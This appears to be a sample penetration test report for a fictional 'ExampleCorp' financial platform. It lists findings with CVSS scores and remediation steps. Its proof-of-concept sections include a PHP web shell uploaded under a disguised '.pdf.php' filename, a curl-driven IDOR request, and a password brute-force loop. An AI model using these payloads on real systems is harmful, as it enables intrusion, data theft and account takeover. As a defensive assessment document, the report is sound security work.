SDX Shadow Labs

OFFENSIVE SECURITY RESEARCHERS · EST. 2025

CONFIDENTIAL - RESTRICTED DISTRIBUTION

SECURITY ASSESSMENT REPORT

Web Application & Infrastructure Penetration Test

Target: ExampleCorp Financial Core Platform & AWS Infrastructure

PREPARED FOR

ExampleCorp Inc.
Security Engineering Division

PREPARED BY

SDX Shadow Labs
Offensive Security · Research Team

ENGAGEMENT WINDOW

July 10 – July 24, 2026
14-Day Gray-Box Assessment

REPORT STATUS

v1.0 - Final
Issued July 25, 2026

SDX-ENG-2026-07
SDXSHADOWLABS.COM
CONTACT@SDXSHADOWLABS.COM

9.8
HIGHEST CVSS · CRITICAL

01 Executive Summary

SDX Shadow Labs was engaged by ExampleCorp Inc. to conduct a comprehensive gray-box penetration test of the financial core web platform and associated AWS infrastructure. The team assessed the application stack, API layer, cloud configuration, and internal network segments over a 14-day period. This report details all findings at both a business and technical level to enable clear prioritization and remediation by engineering and leadership teams.

1	2	4	3
CRITICAL	HIGH	MEDIUM	LOW

ENGAGEMENT SCOPE

TARGET	TYPE	ACCESS LEVEL	STATUS
api.examplecorp.com	REST API / Web App	Gray-box (API docs + staging creds)	✓ Completed
AWS Account (Prod)	Cloud Infrastructure	Read-only IAM - S3, CloudTrail, GuardDuty	✓ Completed
admin.examplecorp.com	Admin Portal	Black-box	✓ Completed
10.10.0.0/24 (VPN)	Internal Network	Out of scope	- Excluded

KEY OBSERVATIONS

Critical RCE in Legacy Reporting Module

An unauthenticated file upload endpoint in the legacy reports module accepted PHP shells disguised as PDFs, enabling full server compromise. This is the highest-risk finding and requires immediate remediation.

Broken Object-Level Auth (IDOR) on Billing API

Sequential invoice IDs on the billing endpoint allowed access to financial records of any organization without authentication checks, exposing sensitive business data across tenants.

Overpermissioned AWS IAM Roles

Several Lambda execution roles carry wildcard S3 permissions, violating least-privilege. If a function is compromised, an attacker gains read/write access to all production buckets.

Strong Modern Frontend Security

The React/Next.js frontend components implemented robust CSP headers and CSRF tokens. All XSS and CSRF attack chains were successfully blocked. This demonstrates solid defense-in-depth on the client layer.

02 Methodology

01
Reconnaissance & Mapping

Passive and active enumeration of all in-scope assets: subdomain enumeration, port scanning, technology fingerprinting, and API endpoint discovery.

02
Threat Modeling

Mapped attacker paths and trust boundaries. Identified high-value targets including admin panels, payment APIs, and file processing endpoints.

03
Manual Exploitation

Every attack chain was built manually from scratch. No automated scanners were submitted as findings. All vulnerabilities include working proof-of-concept code.

04
Cloud Infrastructure Audit

Read-only IAM review of AWS configuration including S3 bucket policies, IAM role permissions, CloudTrail logging, and GuardDuty alert coverage.

05
Privilege Escalation Chains

Attempted post-exploitation privilege escalation from initial footholds using SUID abuse, token theft, and lateral movement toward database servers.

06
Validation & Reporting

Each finding was independently validated twice. All Critical and High findings include CVSS scores, business impact statements, and step-by-step remediation guidance.

03 Findings Summary

ID	VULNERABILITY	COMPONENT	SEVERITY	CVSS	STATUS
SDX-01	Remote Code Execution via File Upload	/legacy/reports/upload	CRITICAL	9.8	● Open
SDX-02	IDOR - Broken Object-Level Authorization	/billing/invoices/:id	HIGH	8.1	● Open
SDX-03	Overpermissioned AWS Lambda IAM Roles	AWS IAM / S3	HIGH	7.5	◐ In Progress
SDX-04	Missing Rate Limiting on Auth Endpoints	/auth/login	MEDIUM	6.2	● Open
SDX-05	Reflected XSS in Search Parameter	/search?q=	MEDIUM	5.4	✓ Fixed
SDX-06	Sensitive Data in Server Error Responses	Global API	MEDIUM	5.1	● Open
SDX-07	Verbose Stack Traces in 500 Errors	API Error Handler	MEDIUM	4.3	● Open
SDX-08	CloudTrail Logging Gaps in Dev Region	AWS CloudTrail	LOW	3.1	● Open
SDX-09	HTTPS Not Enforced on Legacy Subdomain	legacy.examplecorp.com	LOW	3.0	● Open
SDX-10	Outdated npm Dependencies (jQuery 2.x)	Frontend Bundle	LOW	2.8	✓ Fixed

04 Detailed Findings

CRITICAL SDX-01

Remote Code Execution via Unrestricted File Upload

CVSS V3.1
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AFFECTED ENDPOINT

```
POST https://api.examplecorp.com/v1/legacy/reports/upload
```

BUSINESS IMPACT

Full server compromise by an unauthenticated remote attacker. An adversary can execute arbitrary system commands, read database credentials, exfiltrate all customer financial data, and pivot deeper into the internal network - all without needing any account.

TECHNICAL DESCRIPTION

The endpoint validates uploads by checking if the string `.pdf` appears anywhere in the filename using a regex on the client only. Uploading a file named `shell.pdf.php` bypasses this check and PHP executes the payload on the server.

PROOF OF CONCEPT

```
POST /v1/legacy/reports/upload HTTP/1.1
Host: api.examplecorp.com
Content-Type: multipart/form-data; boundary=--X

----X
Content-Disposition: form-data;
  name="file";
  filename="exploit.pdf.php"
Content-Type: application/pdf

<?php system($_GET['cmd']); ?>
----X--

# Verify execution:
$ curl "https://api.examplecorp.com/
  uploads/exploit.pdf.php?cmd=id"
uid=33(www-data) gid=33(www-data)
```

REMEDIATION STEPS

- → **Strict extension whitelist** - reject any filename that does not end exactly with `.pdf`.
- → **Magic byte validation** - confirm file content starts with the PDF signature `%PDF-`.
- → **Isolate storage** - store uploads in S3 with no execute permissions, serve via signed URLs only.
- → **Disable legacy endpoint** - if unused, decommission immediately.

04 Detailed Findings (Cont.)

HIGH SDX-02

IDOR - Broken Object-Level Authorization on Billing API

CVSS V3.1 **8.1**
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

AFFECTED ENDPOINT

```
GET https://api.examplecorp.com/v1/billing/invoices/{id}
```

BUSINESS IMPACT

Any authenticated user can read - and modify - the invoices, payment methods, and contract values of every other organization on the platform by incrementing the numeric invoice ID. This is a GDPR/PCI-DSS breach risk with direct financial and reputational consequences.

TECHNICAL DESCRIPTION

The billing microservice processes requests to retrieve invoice details using the numeric path parameter `{id}`. However, the database query handler inside the controller fetches the invoice record solely matching the primary key `id`. It does not validate if the decoded JWT token's `org_id` claim matches the invoice's `org_id` column in the database, leading to cross-tenant data access.

PROOF OF CONCEPT

```
# Authenticated as tenant A (invoice ID 10041):
$ curl -H "Authorization: Bearer <token_A>" \
  https://api.examplecorp.com/v1/billing/
  invoices/10042

# Response: returns tenant B's invoice data
{"id":10042,"org":"RivalCorp","amount":
 482000,"due":"2026-08-01",...}
```

REMEDIATION STEPS

- → **Server-side ownership check** - verify the requesting user's `org_id` matches the invoice's `org_id` on every request.
- → **Use UUIDs** - replace sequential integer IDs with non-guessable UUIDs for all resource identifiers.
- → **Audit logs** - add immutable audit logging for all billing API reads and writes.

04 Detailed Findings (Cont.)

HIGH SDX-03

Overpermissioned AWS Lambda IAM Roles

CVSS V3.1
7.5
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

AFFECTED COMPONENT

`AWS IAM / S3 Policies (production-report-generator-role)`

BUSINESS IMPACT

A compromise of the application server or report generation microservice allows the adversary to read and write all customer billing records and proprietary uploads stored across all S3 buckets in the AWS account. This significantly escalates a minor application compromise to a full cloud database breach.

TECHNICAL DESCRIPTION

The IAM execution role policy associated with the PDF generation Lambda functions contains a wildcard action and resource definition: `{"Action": "s3:*", "Resource": "*"}`. This allows the function to execute administration tasks (such as deleting buckets, modifying CORS policies) and access buckets that are completely unrelated to its function scope (e.g. `examplecorp-billing-production`).

PROOF OF CONCEPT

```
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:*"
      ],
      "Resource": "*"
    }
  ]
}
```

REMEDIATION STEPS

- → **Apply least privilege IAM policies** - limit permissions strictly to target actions (e.g., limit to `s3:GetObject` and `s3:PutObject` on the specific report bucket `arn:aws:s3:::examplecorp-public-reports/*`).
- → **Remove wildcard resources** - remove `"Resource": "*"` from all IAM write policies.
- → **Continuous Cloud Auditing** - implement AWS Config rules and GuardDuty alerting to detect overpermissioned serverless policies.

04 Detailed Findings (Cont.)

MEDIUM SDX-04

Missing Rate Limiting on Auth Endpoints

CVSS V3.1
6.2
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AFFECTED ENDPOINT

```
POST https://api.examplecorp.com/v1/auth/login
```

BUSINESS IMPACT

Attackers can execute large-scale credential stuffing attacks or brute-force user passwords without being blocked or throttled. This leads to account takeover (ATO) of customers or administrators, resulting in potential fraud, data theft, and brand damage.

TECHNICAL DESCRIPTION

The authentication endpoint processes login requests without tracking the request velocity or matching requests against a client IP or account identifier. Multiple thousand requests can be sent in rapid succession from a single client without triggering defense mechanisms like CAPTCHA, account lockouts, or HTTP 429 throttling.

PROOF OF CONCEPT

```
# Brute forcing login endpoint:
$ for password in $(cat passwords.txt); do
  curl -s -o /dev/null -w "%{http_code}" \
    -d "user=admin@examplecorp.com&pass=$password" \
    https://api.examplecorp.com/v1/auth/login
done

# Response output shows unrestricted attempts:
200 (Success on 482nd attempt)
```

REMEDIATION STEPS

- → **IP-based Rate Limiting** - implement strict rate limiting (e.g., maximum 5 login attempts per minute per IP) using Redis token buckets.
- → **Account Lockout Policy** - implement account lockouts (e.g., lock account for 15 minutes after 5 consecutive failures).
- → **Web Application Firewall (WAF)** - integrate rate-based WAF rules to automatically block distributed credential stuffing.

05 Remediation Roadmap

PRIORITY	FINDING	OWNER	RECOMMENDED SLA	EFFORT
P0	SDX-01 · RCE via File Upload	Backend Eng.	Immediate (24 hrs)	Low - whitelist + S3 move
P1	SDX-02 · IDOR on Billing API	API Team	≤ 3 business days	Low - add org_id check
P1	SDX-03 · AWS IAM Overpermission	DevOps / Cloud	≤ 5 business days	Medium - policy refactor
P2	SDX-04 · No Rate Limiting on /auth/login	Backend Eng.	≤ 2 weeks	Low - middleware
P2	SDX-06 + SDX-07 · Data Leakage in Errors	Backend Eng.	≤ 2 weeks	Low - error handler
P3	SDX-08 + SDX-09 · Logging & HTTPS Gaps	Cloud / DevOps	≤ 30 days	Low

06 Retest & Sign-Off

RETEST POLICY

SDX Shadow Labs offers a complimentary retest of all **Critical** and **High** severity findings within **60 days** of this report date. Retest scope is limited to the specific endpoints documented in findings SDX-01 through SDX-03. A new report section will be appended confirming remediation status.

DISCLOSURE POLICY

All findings were reported in line with responsible disclosure principles. ExampleCorp was notified of the Critical finding (SDX-01) within **24 hours** of discovery. No vulnerabilities will be publicly disclosed until confirmation of remediation or expiry of the **90-day** coordinated disclosure window.

PREPARED & AUTHORIZED BY

SDX Shadow Labs

Offensive Security Research Team

contact@sdxshadowlabs.com
sdxshadowlabs.com
Report ID: SDX-ENG-2026-07

REPORT DATE

July 25, 2026

LEAD SECURITY RESEARCHER · SDX SHADOW LABS